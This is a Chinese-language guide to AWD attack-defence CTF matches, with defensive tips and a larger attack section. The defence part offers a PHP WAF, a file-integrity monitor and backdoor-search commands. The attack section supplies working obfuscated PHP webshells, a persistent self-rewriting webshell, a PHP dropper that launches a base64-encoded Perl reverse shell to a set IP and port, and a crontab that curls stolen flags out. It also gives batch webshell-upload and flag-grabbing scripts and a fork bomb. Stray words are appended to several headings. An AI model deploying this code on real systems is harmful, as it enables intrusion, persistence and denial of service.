###0x01 AWD模式php
Attack With Defence,簡而言之就是你既是一個hacker,又是一個manager。
比賽形式:通常就是一個ssh對應一個web服務,而後flag五分鐘一輪,各隊通常都有本身的初始分數,flag被拿會被拿走flag的隊伍均分,主辦方會對每一個隊伍的服務進行check,check不過就扣分,扣除的分值由服務check正常的隊伍均分。html
###0x02 出題思路python
####1:題目類型mysql
1-出題人本身寫的cms,爲了噁心而後加個so。linux
2-常見或者不常見的cms。nginx
3-一些框架漏洞,好比ph師傅挖的CI這種git
####2:代碼類型github
目前來講,國內比賽依舊是php居多,固然也會有一些別的,好比py,lua這種。web
####3:題目漏洞類型sql
1-sqli居多
2-文件包含
3-各類rce
4-文件上傳
####4:出題人思路
爲了避免讓大家這羣賽棍把題秒了,我直接放個未公開cms的0day把,算了,要不我本身加點東西。誒,等等,這樣是否是有點難了,再放幾個比較簡單的洞把,直接在index.php或者web根目錄下放個shell?
####5:拿flag方式
1-是向內網一臺機器發送http請求,返回請求中包含flag。
2-是例如/home目錄下放置flag文件。
###0x03 防護技巧
1.分析流量
1
2
|
#在比賽服務器上抓取流量包
sudo tcpdump
-s 0 -w flow.pcap port 80
|
使用scp寫個腳本實時將流量包拷貝到本地用wireshark進行分析
2.分析日誌
1).weblogger
5).網絡ID:SecSky
6).網絡ID:鬼魅羊羔
1
2
3
4
|
# 日誌地址
/var/
log/apache2/
/usr/
local/apache2/logs
/usr/nginx/logs/
|
3.打包源碼&備份數據庫
1
2
3
4
|
# 打包目錄
tar -zcvf archive_name.tar.gz directory_to_compress
# 解包
tar -zxvf archive_name.tar.gz
|
1
2
3
4
5
6
7
8
9
10
11
12
|
# 備份指定的多個數據庫
mysqldump -u root -p --databases choose
test > /tmp/db.sql
# 恢復備份,在mysql終端下執行:
# 命令格式:source FILE_PATH
source ~/db.sql
# 曾經遇到一個備份有問題能夠執行下面
mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql
# 重置mysql密碼
# 方法1:用SET PASSWORD命令
mysql>
set password for 用戶名@localhost = password('新密碼');
# 方法2:用mysqladmin
mysqladmin -u用戶名 -p舊密碼 password 新密碼
|
4.重置ssh密碼
1
2
|
# ssh登陸後執行
passwd
|
5.部署waf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
//Code By Safe3
function customError($errno, $errstr, $errfile, $errline)
{
echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
die();
}
set_error_handler(
"customError",E_ERROR);
$getfilter=
"'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter=
"\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter=
"\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){
if(is_array($StrFiltValue))
{
$StrFiltValue=implode($StrFiltValue);
}
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
//slog("<br><br>操做IP: ".$_SERVER["REMOTE_ADDR"]."<br>操做時間: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操做頁面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交參數: ".$StrFiltKey."<br>提交數據: ".$StrFiltValue);
print "360websec notice:Illegal operation!";
exit();
}
}
//$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);
foreach($_GET as $key=>$value){
StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value){
StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value){
StopAttack($key,$value,$cookiefilter);
}
if (file_exists('update360.php')) {
echo "請重命名文件update360.php,防止黑客利用<br/>";
die();
}
function slog($logs)
{
$toppath=$_SERVER[
"DOCUMENT_ROOT"]."/log.htm";
$Ts=fopen($toppath,
"a+");
fputs($Ts,$logs.
"\r\n");
fclose($Ts);
}
|
使用方法:
(1).將waf.php傳到要包含的文件的目錄
(2).在頁面中加入防禦,有兩種作法,根據狀況二選一便可:
a).在所須要防禦的頁面加入代碼
1
|
require_once('waf.php');
|
就能夠作到頁面防注入、跨站
若是想整站防注,就在網站的一個公用文件中,如數據庫連接文件config.inc.php中!
添加require_once(‘waf.php’);來調用本代碼
經常使用php系統添加文件
1
2
3
4
5
6
|
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php
|
b).在每一個文件最前加上代碼
在php.ini中找到:
1
2
|
Automatically add files before or after any PHP document.
auto_prepend_file = 360_safe3.php路徑;
|
須要注意的是,部署waf可能會致使服務不可用,須要謹慎部署。
若是不能部署waf咱們能夠簡單的寫個apache配置文件來禁止PHP執行
1
2
3
4
5
6
7
8
9
10
|
<Directory "/var/www/html/">
Options -ExecCGI -Indexes
AllowOverride None
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
php_flag engine off
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
</FilesMatch>
</Directory>
|
6.幹掉不死馬的方式
(1).ps auxww|grep shell.php
找到pid後殺掉進程就能夠,你刪掉腳本是起不了做用的,由於php執行的時候已經把腳本讀進去解釋成opcode運行了
(2).重啓php等web服務
(3).用一個ignore_user_abort(true)腳本,一直競爭寫入(斷斷續續)。usleep要低於對方不死馬設置的值。
(4).建立一個和不死馬生成的馬同樣名字的文件夾。
7.修改curl命令
1
2
3
4
5
|
alias curl='echo fuckoff' #權限要求較低
# 或者
alias curl='python -c "__import__(\"sys\").stdout.write(\"flag{%s}\\n\" % (__import__(\"hashlib\").md5(\"\".join([__import__(\"random\").choice(__import__(\"string\").letters) for i in range(0x10)])).hexdigest()))"'
chmod -x curl
#權限要求較高
/usr/bin curl路徑
|
8.用D盾掃描源代碼刪除後門文件
1
2
3
4
|
# 簡單的查找後門
find . -name
'*.php' | xargs grep -n 'eval('
find . -name
'*.php' | xargs grep -n 'assert('
find . -name
'*.php' | xargs grep -n 'system('
|
9.查找常見備份文件
1
2
|
# 例如bak文件
find / -name
"*.bak"
|
10.重置web的各類登陸密碼(若是比賽check認爲修改密碼算down就不要修改了)
11.將uploads
等文件夾使用chattr
對文件底層屬性進行控制。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
chattr命令的用法:chattr [ -RVf ] [ -v version ] [ mode ] files…
最關鍵的是在[mode]部分,[mode]部分是由+-=和[ASacDdIijsTtu]這些字符組合的,這部分是用來控制文件的
屬性。
+ :在原有參數設定基礎上,追加參數。
- :在原有參數設定基礎上,移除參數。
= :更新爲指定參數設定。
A:文件或目錄的 atime (access time)不可被修改(modified), 能夠有效預防例如手提電腦磁盤I/O錯誤的發生。
S:硬盤I/O同步選項,功能相似sync。
a:即append,設定該參數後,只能向文件中添加數據,而不能刪除,多用於服務器日誌文件安全,只有root才能設定這個屬性。
c:即compresse,設定文件是否經壓縮後再存儲。讀取時須要通過自動解壓操做。
d:即no dump,設定文件不能成爲dump程序的備份目標。
i:設定文件不能被刪除、更名、設定連接關係,同時不能寫入或新增內容。i參數對於文件 系統的安全設置有很大幫助。
j:即journal,設定此參數使得當經過mount參數:data=ordered 或者 data=writeback 掛 載的文件系統,文件在寫入時會先被記錄(在journal中)。若是filesystem被設定參數爲 data=journal,則該參數自動失效。
s:保密性地刪除文件或目錄,即硬盤空間被所有收回。
u:與s相反,當設定爲u時,數據內容其實還存在磁盤中,能夠用於undeletion。
各參數選項中經常使用到的是a和i。a選項強制只可添加不可刪除,多用於日誌系統的安全設定。而i是更爲嚴格的安全設定,只有superuser (root) 或具備CAP_LINUX_IMMUTABLE處理能力(標識)的進程可以施加該選項。
應用舉例:
用chattr命令防止系統中某個關鍵文件被修改:
# chattr +i /etc/resolv.conf
|
12.部署文件監控,若是發現新上傳文件或者文件被修改當即恢復
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
|
# -*- coding: utf-8 -*-
# @Author: Nearg1e -- 2016-06-30 10:08:35 --0v0--
# v demo 0.21 修改了備份的webshell會本身坑本身的狀況
# todo: windows下不支持中文目錄
#use: python file_check.py ./
import os
import hashlib
import shutil
import ntpath
import time
CWD = os.getcwd()
FILE_MD5_DICT = {}
# 文件MD5字典
ORIGIN_FILE_LIST = []
# 特殊文件路徑字符串
Special_path_str =
'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring =
'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring =
'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring =
'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile =
'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'
Special_string =
'drops_log' # 免死金牌
UNICODE_ENCODING =
"utf-8"
INVALID_UNICODE_CHAR_FORMAT =
r"\?%02x"
# 文件路徑字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}
def isListLike(value):
return isinstance(value, (list, tuple, set))
# 獲取Unicode編碼
def getUnicode(value, encoding=None, noneToNull=False):
if noneToNull and value is None:
return NULL
if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull)
for _ in value)
return value
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] +
"".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")
# 目錄建立
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else: raise
# 獲取當前全部文件路徑
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist
# 計算機文件MD5值
def calcMD5(filepath):
try:
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
except Exception, e:
print u'[!] getmd5_error : ' + getUnicode(filepath)
print getUnicode(e)
try:
ORIGIN_FILE_LIST.remove(filepath)
FILE_MD5_DICT.pop(filepath,
None)
except KeyError, e:
pass
# 獲取全部文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict
# 備份全部文件
def backup_file(filelist=[]):
# if len(os.listdir(Special_path['bak'])) == 0:
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path[
'bak'])
if __name__ == '__main__':
print u'---------start------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 獲取全部文件路徑,並獲取全部文件的MD5,同時備份全部文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST)
# TODO 備份文件可能會產生重名BUG
print u'[*] pre work end!'
while True:
file_list = getfilelist(CWD)
# 移除新上傳文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
# import pdb;pdb.set_trace()
for filepath in diff_file_list:
try:
f = open(filepath,
'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] webshell find : ' + getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path[
'webshell'], ntpath.basename(filepath) + '.txt'))
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
try:
f = open(os.path.join(Special_path[
'log'], 'log.txt'), 'a')
f.write(
'newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : file move error: ' + getUnicode(e)
# 防止任意文件被修改,還原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey,
'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] file had be change : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path[
'difffile'], ntpath.basename(filekey) + '.txt'))
shutil.move(os.path.join(Special_path[
'bak'], ntpath.basename(filekey)), filekey)
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
try:
f = open(os.path.join(Special_path[
'log'], 'log.txt'), 'a')
f.write(
'diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : done_diff: ' + getUnicode(filekey)
pass
time.sleep(
2)
# print '[*] ' + getUnicode(time.ctime())
7、自動提交
|
0x04 攻擊技巧
1.拿到命令執行漏洞後執行crontab
1
2
3
|
# 參考
# http://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/crontab.html
*/5 * * * * curl 172.16.100.5:9000/submit_flag/
-d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'
|
2.注意源碼中或者備份文件中是否存在mysql等的弱口令
3.主機發現
1
2
3
4
5
6
|
# 使用httpscan腳本
./httpscan.py 172.16.0.0/24 –t 10
# masscan
masscan -p 80 172.16.0.0/24
# nmap
nmap –sn 172.16.0.0/24
|
4.經常使用的特殊webshell
控制用的一句話木馬,最好是須要菜刀配置的,這樣作是爲了避免讓別人輕易的利用你的一句話,要否則就只能等着別人用你的腳本撿分。
簡單舉例:
1
|
|
鏈接方式:php?2=assert密碼是1。
獻上我經常使用得一句話
1
2
3
4
5
6
7
8
|
$a=chr(
96^5);
$b=chr(
57^79);
$c=chr(
15^110);
$d=chr(
58^86);
$e=
'($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
|
配置爲?b=))99(rhC(tseuqeR+lave
1
2
3
|
$sF=
"PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
|
配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
鏈接密碼:0(零)
5.權限維持
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
set_time_limit(
0);
ignore_user_abort(
true);
$file =
'.conifg.php';
$shell =
"<?php echo system("curl 10.0.0.2"); ?>";
while(true){
file_put_contents($file, $shell);
system(
'chmod 777 .demo.php');
usleep(
50);
}
|
tips:.config.php
前面使用一個點,能很好的隱藏文件。
想要結束這個進程,除了最暴力的重啓apache服務以外,更爲優雅的以下:
1
2
3
4
5
6
7
|
while (1) {
$pid=
1234;
@unlink(
'.config.php');
exec(
'kill -9 $pid');
}
|
先查看進程,查看對應的pid,再執行便可。
素質低的人則會放置一個md5馬,好比
1
2
3
4
|
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
@
eval($_POST['cmd']);
|
若是素質低的人又很猥瑣,像rootrain這種就是。那就是利用header
,最後綜合起來就是
1
2
3
4
5
6
7
8
|
echo 'hello';
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
$test=
'flag';
header(
"flag:$test");
}
|
放進config.php
效果最好,由於通常不多人去看這個。
還能夠採用反彈shell的方式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
function which($pr) {
$path = execute(
"which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res =
'';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join(
"\n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
}
elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))) {
$res =
'';
while(!@feof($f)) {
$res .= @fread($f,
1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip =
"192.168.71.1";
$yourport =
'9999';
$usedb =
array('perl'=>'perl','c'=>'c');
$back_connect=
"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf(
'/tmp/.bc',$back_connect);
$res = execute(which(
'perl')." /tmp/.bc $yourip $yourport &");
|
以後本地執行nc -lp 9999
便可
6.獲取flag的方式
(1) 批量傳webshell(shell的內容能夠寫爲權限維持部分的那個腳本),以後結合批量訪問 參考PHP-定時任務
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
# 參考 http://www.freebuf.com/sectool/91082.html
#!/usr/bin/python
#coding=utf-8
import urllib
import urllib2
import sys
import base64
import re
def post(url, data):
req = urllib2.Request(url)
data = urllib.urlencode(data)
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
response = opener.open(req, data)
return response.read()
def get_shell_path(posturl,passwd):
shell_path =
""
try:
data = {}
data[passwd] =
'@eval(base64_decode($_POST[z0]));'
data[
'z0']='ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
shell_path = post(posturl, data).strip()
except Exception:
pass
return shell_path
def main():
print '\n+++++++++Batch Uploading Local File (Only for PHP webshell)++++++++++\n'
shellfile = sys.argv[1]
# 存放webshell路徑和密碼的文件
localfile = sys.argv[2]
# 本地待上傳的文件名
shell_file = open(shellfile,
'rb')
local_content = str(open(localfile,
'rb').read())
for eachline in shell_file:
posturl = eachline.split(
',')[0].strip()
passwd = eachline.split(
',')[1].strip()
try:
reg =
".*/([^/]*\.php?)"
match_shell_name = re.search(reg,eachline)
if match_shell_name:
shell_name=match_shell_name.group(1)
shell_path = get_shell_path(posturl,passwd).strip()
target_path = shell_path.split(shell_name)[0]+localfile
target_path_base64 = base64.b64encode(target_path)
target_file_url = eachline.split(shell_name)[0]+localfile
data = {}
data[passwd] =
'@eval(base64_decode($_POST[z0]));'
data[
'z0']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'
data[
'z1']=target_path_base64
data[
'z2']=base64.b64encode(local_content)
response = post(posturl, data)
if response:
print '[+] '+target_file_url+', upload succeed!'
else:
print '[-] '+target_file_url+', upload failed!'
else:
print '[-] '+posturl+', unsupported webshell!'
except Exception,e:
print '[-] '+posturl+', connection failed!'
shell_file.close()
if __name__ == '__main__':
main()
|
(2) 或者直接執行下面的腳本
1
2
3
4
5
6
7
|
while true
do
flag=$(curl
'http://172.16.4.42:800')
curl --cookie
"PHPSESSID=21il7pum6i3781pumljhv578c1; xdgame_username=%E5%B0%8F%E7%BA%A2%E5%B8%BD" --data "key="${flag} "http://172.16.4.42/index.php/wargame/submit"
sleep 1s
done
|
(3) 有些SQL注入漏洞能夠經過sqlmap利用—sql-shell 執行select load_file('/flag')
來獲取flag。最好直接利用腳原本得到。
1
2
3
4
5
6
7
8
9
|
def sqli(host):
global sess_admin
data = {
"section_name":"asd","admin_name":"'||(SELECT updatexml(1,concat(0x7e,(select load_file('/flag')),0x7e),1))||'","announcement":"asd"}
r = sess_admin.post(
'http://%s/index.php/section/add'%host,data=data)
flags = re.findall(
r'~(.+?)~',r.content)
if flags:
return flags[0]
else:
return "error pwn!"
|
(4) 文件包含漏洞,直接能夠經過../../../../../../flag的方式獲取
1
2
3
4
5
6
7
|
def include(host):
r = requests.get(url=
"http://%s/?t=../../../../../../flag"%host)
flags = re.findall(r
'^(.+?)<',r.content)
if flags:
return flags[0]
else:
return "error pwn!"
|
(5)批量提交flag的腳本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
#!/usr/bin/env python2
import sys
import json
import urllib
import httplib
server_host =
'10.10.0.2'
server_port =
80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
if not team_token or not flag:
raise Exception('team token or flag not found')
conn = httplib.HTTPConnection(host, port, timeout=timeout)
params = urllib.urlencode({
'token': team_token,
'flag': flag,
})
headers = {
"Content-type": "application/x-www-form-urlencoded"
}
conn.request(
'POST', '/api/submit_flag', params, headers)
response = conn.getresponse()
data = response.read()
return json.loads(data)
if __name__ == '__main__':
if len(sys.argv) < 3:
print 'usage: ./submitflag.py $team_token $flag'
sys.exit()
host = server_host
if len(sys.argv) > 3:
host = sys.argv[
3]
print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)
|
7.批量修改ssh密碼的腳本(猥瑣流直接幹掉幾個對手)
8.若是有發現有預留後門,要當即使用腳本進行獲取flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
#coding=utf-8
import requests
url=
"http://192.168.71."
url1=
""
shell=
"/Upload/index.php"
passwd=
"abcde10db05bd4f6a24c94d7edde441d18545"
port=
"80"
payload = {passwd:
'system(\'cat /flag\');'}
f=open(
"webshelllist.txt","w")
f1=open(
"firstround_flag.txt","w")
for i in [51,52,53,11,12,13,21,22,23,31,32,33,41,42,43,71,72,73,81,82,83]:
url1=url+str(i)+
":"+port+shell
try:
res=requests.post(url1,payload,timeout=
1)
if res.status_code == requests.codes.ok:
print url1+" connect shell sucess,flag is "+res.text
print >>f1,url1+" connect shell sucess,flag is "+res.text
print >>f,url1+","+passwd
else:
print "shell 404"
except:
print url1+" connect shell fail"
f.close()
f1.close()
|
9.自寫敏感功能。主辦方可能已經把CMS自己的漏洞補全了,並自寫了一些敏感功能,如上傳、包含界面..,這時候須要本身手動去發現(利用seay代碼審計工具可快速定位、ls -t按修改時間來看最新被修改的文件),分析,刪除,利用。
10.fork炸彈
1
2
|
# 參考: https://linux.cn/article-5685-1-rss.html
:(){:|:&};:
|
0x05 參考
- https://xianzhi.aliyun.com/forum/topic/1530
- http://bobao.360.cn/ctf/learning/210.html
- https://mp.weixin.qq.com/s/q6xwmkADGnbHJQRbPblaHg
- https://www.t00ls.net/viewthread.php?tid=34681
- http://rcoil.me/2017/06/CTF線下賽總結
- https://forum.90sec.org/forum.php?mod=viewthread&tid=10560
- http://www.freebuf.com/articles/web/118149.html
- https://www.secpulse.com/archives/38622.html
- http://bobao.360.cn/ctf/detail/169.html